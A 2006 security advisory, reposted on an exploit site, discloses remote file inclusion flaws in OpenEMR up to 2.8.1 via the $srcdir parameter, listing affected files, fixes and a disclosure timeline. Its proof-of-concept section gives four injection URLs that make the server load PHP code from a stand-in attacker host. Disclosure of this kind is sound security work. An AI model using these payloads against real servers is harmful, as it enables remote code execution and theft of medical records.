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OpenEMR <= 2.8.1 (srcdir) Multiple Remote File Inclusion Vulnerabilities
[========================================================================
OpenEMR <= 2.8.1 (srcdir) Multiple Remote File Inclusion Vulnerabilities
========================================================================
____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/ .OR.ID
ECHO_ADV_60$2006
-----------------------------------------------------------------------------------------------
[ECHO_ADV_60$2006] OpenEMR <=2.8.1 Multiple Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------
Author : Dedi Dwianto a.k.a the_day
Date Found : November, 01nd 2006
Location : Indonesia, Jakarta
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : OpenEMR
version : <=2.8.1
OpenEMR is Open Source electronic medical record and medical practice management software.
OpenEMR is best described as a "system" of programs. The main OpenEMR program consists of the electronic
health records and scheduling software.
OpenEMR can also be configured for insurance billing with FreeB, accounting with SQL-Ledger,
and access controls with php-GACL.
---------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~~~
I found vulnerability in interface/billing/billing_process.php
-----------------------interface/billing/billing_process.php-------------
....
<?
...
include_once("$srcdir/patient.inc");
include_once("$srcdir/billrep.inc");
...
----------------------------------------------------------
Input passed to the "$srcdir" parameter in billing_process.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.
Also affected files :
interface/billing/billing_report.php
interface/billing/billing_report_xml.php
interface/billing/print_billing_report.php
login.php
interface/batchcom/batchcom.php
interface/login/login.php
interface/main/main_info.php
interface/main/main.php
interface/new/new_patient_save.php
interface/practice/ins_search.php
interface/logout.php
interface/reports/custom_report_range.php
interface/reports/players_report.php
interface/reports/front_receipts_report.php
interface/usergroup/facility_admin.php
interface/usergroup/usergroup_admin.php
interface/usergroup/user_info.php
interface/usergroup/facility_admin.php
interface/usergroup/facility_admin.php
custom/import_xml.php
New Vulnerability in OpenEMR Version 2.8.1
----library/translation.inc.php----
<?
....
include_once($GLOBALS['srcdir'] . '/sql.inc');
....
?>
Proof Of Concept:
~~~~~~~~~~~~~~~
http://target.com/[OpenEMR-path]/interface/billing/billing_process.php?srcdir=http://atacker.com/inject.txt?
http://target.com/[OpenEMR-path]/interface/new/new_patient_save.php?srcdir=http://atacker.com/inject.txt?
http://target.com/[OpenEMR-path]/login.php?srcdir=http://atacker.com/inject.txt?
http://target.com/[OpenEMR-path]/library/translation.inc.php?GLOBALS[srcdir]=http://atacker.com/inject.txt?
Solution:
~~~~~~~
- Sanitize variable $srcdir affected files.
- Turn off register_globals
Timeline :
~~~~~~~~~
01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure
---------------------------------------------------------------------------
Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
-------------------------------- [ EOF ]----------------------------------
# 0day.today [2024-11-16] #